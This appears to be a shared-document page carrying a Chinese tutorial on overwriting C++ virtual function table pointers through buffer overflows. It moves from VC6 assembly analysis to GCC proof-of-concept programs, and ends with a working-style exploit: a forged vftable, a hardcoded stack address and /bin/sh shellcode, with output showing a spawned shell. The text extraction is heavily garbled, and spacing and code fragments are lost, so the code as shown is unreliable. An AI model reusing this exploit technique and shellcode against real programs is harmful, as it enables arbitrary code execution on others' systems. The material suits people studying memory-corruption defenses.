C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx
- 文档编号:21328131
- 上传时间:2023-01-29
- 格式:DOCX
- 页数:15
- 大小:20.12KB
C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx
《C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx》由会员分享,可在线阅读,更多相关《C中通过溢出覆盖虚函数指针列表执行代码文档格式.docx(15页珍藏版)》请在冰豆网上搜索。
test2();
return0;
}
使用VC编译:
开一个命令行直接在命令行调用cl来编译:
(如果你安装vc时没有选择注册环境
变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT)
cltest.cpp/Fa
产生test.asm中间汇编代码
接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心!
我们来看看:
数据定义:
_BSSSEGMENT
?
objA@@3VClassA@@ADQ01HDUP(?
);
objA64位
pobjA@@3PAVClassA@@ADD01HDUP(?
pobjA一个地址32位
_BSSENDS
看到objA为64位,里边存放了哪些内容呢?
接着看看构造函数:
_this$=-4
0ClassA@@QAE@XZPROCNEAR;
ClassA:
:
ClassA()定义了一个变量_this?
!
;
Filetest.cpp
Line6
pushebp
movebp,esp
pushecx
movDWORDPTR_this$[ebp],ecx;
ecx赋值给_this?
不明白?
moveax,DWORDPTR_this$[ebp]
movDWORDPTR[eax],OFFSETFLAT:
_7ClassA@@6B@
;
`vftable'
前面的部分都是编译器加的东东,我们的赋值在这里
movecx,DWORDPTR_this$[ebp]
movDWORDPTR[ecx+4],65535;
0xffffnum1=0xffff;
看来_this+4就是num1的地址
movesp,ebp
popebp
ret0
0ClassA@@QAE@XZENDP
那个_this和movDWORDPTR_this$[ebp],ecx让人比较郁闷了吧,不急看看何
处调用的构造函数:
_$E9PROCNEAR
Line10
movecx,OFFSETFLAT:
objA@@3VClassA@@A
call?
0ClassA@@QAE@XZ;
callClassA:
ClassA()
_$E9ENDP
看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址。
那么构造函数里的这两行又是干什么呢?
我们已经知道_this保存的为对象地址:
&
objA。
那么eax=&
objA
接着就相当于(*eax)=OFFSETFLAT:
来看看?
_7ClassA@@6B@是哪个道上混的:
CONSTSEGMENT
DDFLAT:
test1@ClassA@@UAEXXZ;
test2@ClassA@@UAEXXZ
CONSTENDS
看来这里存放的就是test1(),test2()函数的入口地址!
那么这个赋值:
就是在对象的起始地址填入这么一个地址列表的地址。
好了,至此我们已经看到了objA的构造了:
|低地址|
+--------+--->
objA的起始地址&
|pvftable|
+--------+-------------------------+
|num1|num1变量的空间|
objA的结束地址+--->
+--------------+地址表vftable
|高地址||test1()的地址|
+--------------+
|test2()的地址|
来看看main函数:
_mainPROCNEAR
Line13
Line14
movDWORDPTR?
pobjA@@3PAVClassA@@A,
OFFSETFLAT:
objA@@3VClassA@@A;
pobjA=&
Line15
ecx=this指针
指向调用者的地址
objA.test1()
objA.test1()直接调用,已经确定了地址
Line16
test2@ClassA@@UAEXXZ;
objA.test2()
Line17
moveax,DWORDPTR?
pobjA@@3PAVClassA@@A;
pobjA
movedx,DWORDPTR[eax];
edx=vftable
movecx,DWORDPTR?
callDWORDPTR[edx];
callvftable[0]即pobjA->
test1()看地址是动态查找的;
)
Line18
movedx,DWORDPTR[eax]
callDWORDPTR[edx+4];
test2()
callvftable[1]而vftable[1]里存放的是test2()的入口地址
Line19
xoreax,eax
Line20
_mainENDP
好了,相信到这里你已经对动态联编有了深刻印象。
二>
VC中对象的空间组织和溢出试验
通过上面的分析我们可以对对象空间组织概括如下:
+----------+--->
|pvftable|--------------------->
+
+----------+|
|各成员变量||
+--------------+地址表vftable
|高地址||虚函数1的地址|
|虚函数2的地址|
|......|
可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!
现在来作一个溢出试验:
先写个程序来看看
classClassEx
intbuff[1];
ClassExobj1,obj2,*pobj;
cout<
buff<
"
"
<
obj1<
obj2<
pobj<
endl;
用cl编译运行结果为:
0x00408998:
0x00408990:
0x00408991:
0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
结果还是一样!
不会是vc就是防着这一手吧!
看来想覆盖不容易呀;
只能通过obj1溢出覆盖obj2了
//ex_vc.cpp
virtualvoidtest(void){cout<
ClassEx:
test()"
endl;
voidentry(void)
Whyauhere?
pobj=&
obj2;
obj2.test();
intvtab[1]={(int)entry};
//构造vtab,
//entry的入口地址
obj1.buff[1]=(int)vtab;
//obj1.buff[1]就是obj2的pvftable域
//这里修改了函数指针列表的地址到vtab
pobj->
test();
编译clex_vc.cpp
运行结果:
test()
测试环境:
VC6
看我们修改了程序执行流程^_^
平时我们编程时可能用virtaul不多,但如果我们使用BC/VC等,且使用了厂商提供的
库,其实我们已经大量使用了虚函数,以后写程序可要小心了,一个不留神的变量
赋值可能会后患无穷。
//开始琢磨好多系统带的程序也是vc写的,里边会不会....
三>
GCC中对象的空间组织和溢出试验
刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
一样!
分析方法一样,就是写个test.cpp用gcc-Stest.cpp来编译得到汇编文件
test.s然后分析test.s我们就能得到许多细节上的东西。
通过分析我们可以看到:
gcc中对象地址空间结构如下:
+---------------+对象的开始地址
||
|成员变量空间|
+---------------+
|pvftable|----------->
+------------------+vftable
+---------------+|0|
|高地址|+------------------+
|XXXXXXXX|
+------------------+
|0|
+-----------------+
|虚函数1入口地址|
|虚函数2入口地址|
哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!
来写个溢出测试程序:
//test.cpp
classClassTest
longbuff[1];
//大小为1
virtualvoidtest(void)
{
ClassTesttest()"
}
Whyareuhere?
ClassTesta,*p=&
a;
longaddr[]={0,0,0,(long)entry};
//构建的虚函数表
//test()->
entry()
a.buff[1]=(long)addr;
//溢出,操作了虚函数列表指针
a.test();
//静态联编的,不会有事
p->
//动态联编的,到我们的函数表去找地址,
//结果就变成了调用函数entry()
编译:
gcctest.cpp-lstdc++
执行结果:
bash-2.05#./a.out
ClassTesttest()
测试程序说明:
具体的就是gcc-Stest.cpp生成test.s后里边有这么一段:
.section.gnu.linkonce.d._vt$9ClassTest,"
aw"
@progbits
.p2align2
.type_vt$9ClassTest,@object
.size_vt$9ClassTest,24
_vt$9ClassTest:
.value0
.long__tf9ClassTest
.longtest__9ClassTest----------+
.zero8|
.comm__ti9ClassTest,8,4|
|
test()的地址<
----+
这就是其虚函数列表里的内容了。
test()地址在第3个(long)型地址空间
所以我们构造addr[]时:
就覆盖了test()函数的地址为entry()的地址
时就跑到我们构建的地址表里取了entry的地址去运行了
测试环境FreeBSD4.4
gcc2.95.3
来一个真实一点的测试:
通过溢出覆盖pvftable,时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。
stdio.h>
classClassBase//定义一个基础类
charbuff[128];
voidsetBuffer(char*s)
strcpy(buff,s);
virtualvoidprintBuffer(void){};
//虚函数
classClassA:
publicClassBase
voidprintBuffer(void)
Name:
classClassB:
publicClassBase
Thetext:
charbuffer[512],*pc;
long*pl=(long*)buffer;
longaddr=0xbfbffabc;
//在我的机器上就是&
b^_*
charshellcode[]="
1\xc0Ph//shh/binT[PPSS4;
\xcd\x80"
inti;
ClassAa;
ClassBb;
ClassBase*classBuff[2]={&
a,&
b};
a.setBuffer("
Tom"
);
b.setBuffer("
Hello!
Thisisworldofc++."
for(i=0;
i<
2;
i++)//C++中的惯用手法,
//一个基础类的指针指向上层类对象时调
//用的为高层类的虚函数
classBuff[i]->
printBuffer();
//这里是正常用法
a<
:
b<
//&
b就是上面addr的值,
//如果你的机器上两个值不同就改一改addr值吧!
//构造一个特殊的buff呆会给b.setBuffer
//在开始处构造一个vftable
pl[0]=0xAAAAAAAA;
//填充1
pl[1]=0xAAAAAAAA;
//填充2
pl[2]=0xAAAAAAAA;
//填充3
pl[3]=addr+16;
//虚函数printBuffer入口地址
//的位置指向shell代码处了
pc=buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;
pc-buffer<
128;
*pc++='
A'
//填充
pl=(long*)pc;
*pl=addr;
//覆盖pvftable使其指向我们构造的列表
b.setBuffer(buffer);
//溢出了吧.
//再来一次
i++)
//classBuffer[1].printBuffer
//时一个shell就出来了
bash-2.05$./a.out
Tom
Hello!
Thisisworldofc++.
0xbfbffb44:
0xbfbffabc
$<
------呵呵,成功了
说明:
addr=&
b也就是&
b.buff[0]
b.setBuffer(buffer)
就是让b.buff溢出,覆盖128+4+1个地址。
此时内存中的构造如下:
&
b.buff[0]也是&
b
^
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr|\0]
____^___
|||
|+---+||
|||
+--------------->
128<
--------------+|
此处即pvftable项,被溢出覆盖为addr<
---+
现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表,虚函数的入口地址为shellcode的地址!
本文只是一个引导性文字,还有许多没
有提到的细节,需要自己去分析。
俗话说自己动手丰衣足食*_&
四>
参考
Phrack56#<
SMASHINGC++VPTRS>
>
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 中通过溢出覆盖虚函数指针列表执行代码 通过 溢出 覆盖 函数 指针 列表 执行 代码